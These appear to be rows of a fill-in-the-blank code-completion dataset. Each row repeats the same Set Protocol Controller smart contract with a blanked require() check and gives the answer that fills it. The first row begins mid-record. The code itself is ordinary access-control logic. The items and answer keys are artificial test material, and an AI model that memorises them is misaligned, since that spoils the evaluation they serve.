external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
isSet[_setToken],"Set does not exist"
118,230
isSet[_setToken]
"Factory already exists"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { require(<FILL_ME>) isFactory[_factory] = true; factories.push(_factory); emit FactoryAdded(_factory); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
!isFactory[_factory],"Factory already exists"
118,230
!isFactory[_factory]
"Factory does not exist"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { require(<FILL_ME>) factories = factories.remove(_factory); isFactory[_factory] = false; emit FactoryRemoved(_factory); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
isFactory[_factory],"Factory does not exist"
118,230
isFactory[_factory]
"Module already exists"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { require(<FILL_ME>) isModule[_module] = true; modules.push(_module); emit ModuleAdded(_module); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
!isModule[_module],"Module already exists"
118,230
!isModule[_module]
"Module does not exist"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { require(<FILL_ME>) modules = modules.remove(_module); isModule[_module] = false; emit ModuleRemoved(_module); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
isModule[_module],"Module does not exist"
118,230
isModule[_module]